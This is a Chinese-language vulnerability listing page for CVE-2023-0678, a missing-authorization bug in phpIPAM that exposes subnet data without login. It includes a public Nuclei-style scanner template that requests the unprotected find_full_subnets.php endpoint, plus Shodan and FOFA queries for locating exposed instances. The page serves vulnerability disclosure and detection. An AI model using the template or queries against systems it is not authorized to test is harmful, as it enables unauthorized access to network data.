CVE-2023-0678: PHPIPAM <v1.5.1 - Missing Authorization

日期: 2025-08-01 | 影响软件: PHPIPAM | POC: 已公开

漏洞描述

In phpIPAM 1.5.1, an unauthenticated user could download the list of high-usage IP subnets that contains sensitive information such as a subnet description, IP ranges, and usage rates via find_full_subnets.php endpoint. The bug lies in the fact that find_full_subnets.php does not verify if the user is authorized to access the data, and if the script was started from a command line.

PoC代码[已公开]

id: CVE-2023-0678

info:
  name: PHPIPAM <v1.5.1 - Missing Authorization
  author: princechaddha,ritikchaddha
  severity: medium
  description: |
    In phpIPAM 1.5.1, an unauthenticated user could download the list of high-usage IP subnets that contains sensitive information such as a subnet description, IP ranges, and usage rates via find_full_subnets.php endpoint. The bug lies in the fact that find_full_subnets.php does not verify if the user is authorized to access the data, and if the script was started from a command line.
  reference:
    - https://github.com/phpipam/phpipam/commit/1960bd24e8a55796da066237cf11272c44bb1cc4
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-0678
    cwe-id: CWE-862
    epss-score: 0.69123
    epss-percentile: 0.98595
    cpe: cpe:2.3:a:phpipam:phpipam:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: phpipam
    product: phpipam
    shodan-query:
      - "html:\"phpIPAM IP address management\""
      - http.html:"phpipam ip address management"
    fofa-query: "body=\"phpipam ip address management\""
  tags: cve,cve2023,php,phpipam,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/functions/scripts/find_full_subnets.php"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Array", "[subnet]", "[description]")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a0048304602210082e1f4b045eed6ede026d13328774299ebdcef49cc42f64f3f419cd4ee093523022100a98267843d89eb61fdb2459f9c7fc4e808d473c1153794d54bcf02de93ffe7e7:922c64590222798bb761d5b6d8e72950

相关漏洞推荐